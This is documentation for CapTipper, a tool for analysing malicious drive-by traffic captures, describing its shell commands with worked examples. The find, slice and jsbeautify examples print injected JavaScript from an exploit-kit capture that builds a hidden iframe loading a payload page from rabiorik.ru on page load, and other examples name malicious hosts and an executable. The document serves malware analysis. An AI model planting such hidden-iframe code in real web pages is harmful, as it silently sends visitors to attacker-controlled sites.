Usage¶

Feeding CapTipper with a drive-by traffic capture (e.g of an exploit kit) displays the user with the requests URI’s that were sent and responses meta-data. The user can at this point browse to http://127.0.0.1/[URI] and receive the response back to the browser. In addition, an interactive shell is launched for deeper investigation using various commands such as: hosts, hexdump, info, ungzip, body, client, dump and more...

CapTipper is written in Python and requires Python 2.7 to function properly. CapTipper was tested on Windows, Linux & Mac and doesn’t require any installation; every prerequisites it might need is bundled into its project folder.

Basic Usage:

./CapTipper.py <PCAP_file> [arguments]

Arguments¶

CapTipper accepts command line arguments:

`-h, --help`	Print this help message and exit
`-p PORT, --port PORT`
	Set web server port
`-d FOLDER, --dump FOLDER`
	Dump all files and exit
`-s, --server-off`
	Disable web server
`-short, --short-url`
	Display shortened URI paths
`-r FOLDER, --report FOLDER`
	Create JSON & HTML report
`-g, --ungzip`	Automatically ungzip responses
`-u, --update`	Update CapTipper to newest version

--ungzip Automatically ungzip all objects but web-server still responds with the original response.

Console¶

The Initialization of CapTipper outputs the conversations found between the client and the server in the following format:

[ID] : REQUEST URI -> SERVER RESPONSE TYPE (FILENAME) [SIZE IN BYTES] (Magic: $Whatype)

ID: An assigned Id to the specific conversation
REQUEST URI: The URI that was sent to the server in the GET request
SERVER RESPONSE TYPE: The content-type returned in the server response header
FILENAME: The filename can be a few things:
1. Filename attribute given in the response header
2. Derived from the URI
3. Assigned by CapTipper if couldn’t find any of the above
SIZE IN BYTES: Response body size
MAGIC: The file format as identified by the Whatype library

After Initialization, 2 things occur:

CapTipper creates a pseudo-web server that behaves like the web server in the pcap

An Interpreter is launched

The interpreter contains internal tools for further investigation of the objects in the PCAP file.

Opening a URI in the browser is simply by typing open along with the object id. For more information on the web server, please see the Webserver chapter.

Following are details for all the currently available commands.

open¶

CapTipper launches a local Webserver imitating the web server(s) in the PCAP. The open command gets a given conversation and launches the default browser to go to that URL on the local webserver.

Example:

CT> open 0
Opening http://localhost:80/ in default browser

log¶

Every request to the local webserver is logged and can be viewed using the log command:

CT> log
[2015-07-08T16:25:18.815575] 127.0.0.1 : GET / HTTP/1.1

convs¶

convs will display all conversations in the form they were displayed when CapTipper was launched.

body¶

body gets the conversation id as an argument and outputs the response body. Following is its help message:

Displays the text representation of the body

Usage: body <conv_id> [size=256]

By default, body displays the first 256 bytes of the object, but it can accept a second argument which indicates the amount of bytes of the response body to display. it can also accept all as the second argument, which will return the entire body.

For example:

CT> body 1 128
Displaying body of object 1 (seedadmin17.html) [128 bytes]:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<h1>Found</h1>
<p>The doc

ungzip¶

Many times using the body command will result in an un-readable response due to use of the GZIP compression.

CT> body 0

plugin¶

CapTipper supports external plugins. Extensive information regarding the plugin infrastructure can be found in the Plugins chapter.

The plugin command allows the user to use plugins that are stored in the plugins\ folder. Its help message:

CT> help plugin
Launching an external plugin (alias: p)

usage: plugin <plugin_name / plugin_id> [-l] <*args>
     -l      - List all available plugins

examples:
     plugin find_scripts
     plugin 1
     p find_scripts

List all available plugins:

CT> plugin -l
Loaded Plugins (3):
 0 : check_host - Checks if a given id's host is alive
 1 : find_scripts - Finds external scripts included in the object body
 2 : print_body - Prints the body of a conversation and ungzip if needed

The plugin command can be also used by its alias p.

Each plugin is assigned with a unique ID, so the use of the plugin can be done either by its name or by its ID.

For example, we can use the check_host plugin who has the id 0 assigned to it. This plugin receives a conversation id as an argument and checks if the domain hosting the conversation URL is alive. Let’s use the plugin with conversation 12:

CT> p 0 12
Checking host grannityrektonaver.co.vu
IP:PORT = 173.244.195.17:80
[-] Server is dead

dump¶

The dump command write to disk a given object id or all files found in the PCAP.

Its help message:

Dumps the object file to a given folder

Usage: dump <conv_id> <path> [-e]

Options:
   -e       - ignores executables

Examples:

dump 4 c:\files\index.html
            Dumps object 4 to given path

dump all c:\files
             Dumps all files to folder by their found name

dump all c:\files -e
             Dumps all files to folder by their found name, without EXE files

objects¶

The objects command display the objects list described in the Core chapter.

CT> objects

| 14  | body        | 8.exe

find¶

The find command searches for all occurrences of a given regex in a given conversation, or all conversations.

Its help message:

Search for a regular expression in all or specific object

Usage: find <obj_id / all> <pattern>

Output data is displayed as follows:

   ([Line number] , [Offset from begining of file]) : [Found string]

It is advised to start CapTipper with the -g flag in order to automatically ungzip all objects and make the search more efficient.

Example searching for the domain rabiorik in all objects:

CT> find all rabiorik
Searching 'rabiorik' in all objects:

 0.html [0]:
    (777,50587) : t(){create_frame("http://rabiorik.ru/wlkzkir.cgi?default")

 wlkzkir.cgi [7]:
    (8,256) : 22 (@RELEASE@) Server at rabiorik.ru Port 80</address></b

Following, and example searching create_frame in a specific object:

CT> find 0 create_frame
Searching 'create_frame' in object 0 (0.html):

 (777,50213) : xt/javascript'>function create_frame(a){var b=document.getEle
 (777,50566) : true}}function bdsls4t(){create_frame("http://rabiorik.ru/wlkz

slice¶

The command slice displays a specified range of bytes (substring) from an object.

Its help message:

Returns bytes from offset in given length

Usage: slice <obj_id> <offset> <len | 'eob'>

Following the previous use of find, we can examine the “create_frame” javascript function by requesting 256 bytes from its starting position. slice accepts the object-id (0), the offset start (50213) and the length (256):

CT> slice 0 50213 256
Displaying 256 of bytes from offset 50213 in object 0 (0.html):

create_frame(a){var b=document.getElementById('weqe');if(typeof(b)!='undefined'&&b!=null){}
else{var c=document.createElement('iframe');c.id="weqe";c.style.width="0px";c.style.height="0px";
c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setA

It also includes support for EOB (End Of Block) detection. This will tell slice to display code until the end of the current block we are looking at, whether it’s a class, a function or a statement (based on braces { }).

The eob argument is used instead of the length value, e.g:

CT> slice 0 50213 eob
Displaying 334 of bytes from offset 50213 in object 0 (0.html):

create_frame(a){var b=document.getElementById('weqe');if(typeof(b)!='undefined'&&b!=null){}
else{var c=document.createElement('iframe');c.id="weqe";c.style.width="0px";c.style.height="0px";
c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0");
document.body.appendChild(c);c.src=a;return true}}

If we want to be able to read the code more conveniently, we can use the jsbeautify command.

jsbeautify¶

The jsbeautify (JavaScript Beautify) command reformats the code to be more human-readable, very useful for deep inspection.

Its help message:

Display JavaScript code after beautify

Usage: jsbeautify <obj / slice> <object_id> <offset> <length>

Example: jsbeautify slice <object_id> <offset> <len | eob>

Example: jsbeautify obj <object_id>

jsbeautify can accepts a conversation object and create a new one. (The new object can be dumped to the file system):

CT> jsbeautify obj 8
 JavaScript Beautify of object 8 (jquery.ui.effect.min.js) successful!
 New object created: 16

Like ungzip, The new object created can be seen using the objects.

jsbeautify can also accept the slice command seen in the previous section.

Example of the jsbeautify on the “create_frame” function in the javascript code, combined with the slice command.

CT> jsbeautify slice 0 50213 512
create_frame(a) {
    var b = document.getElementById('weqe');
    if (typeof(b) != 'undefined' && b != null) {} else {
        var c = document.createElement('iframe');
        c.id = "weqe";
        c.style.width = "0px";
        c.style.height = "0px";
        c.style.border = "0px";
        c.frameBorder = "0";
        c.style.display = "none";
        c.setAttribute("frameBorder", "0");
        document.body.appendChild(c);
        c.src = a;
        return true
    }
}
function bdsls4t() {
    create_frame("http://rabiorik.ru/wlkzkir.cgi?default")
}
try {
    if (window.attachEvent) {
        window.attachEvent('onload', bdsls4t)
    } else {
        if (window.onload) {
            var curronload = wi

vt¶

vt sends a given object ids MD5 to VirusTotal to see if it is recognized by any of the Anti-Virus providers.

The use of vt requires a VirusTotal Public API key.

For example:

CT> vt 14
 VirusTotal result for object 14 (8.exe):
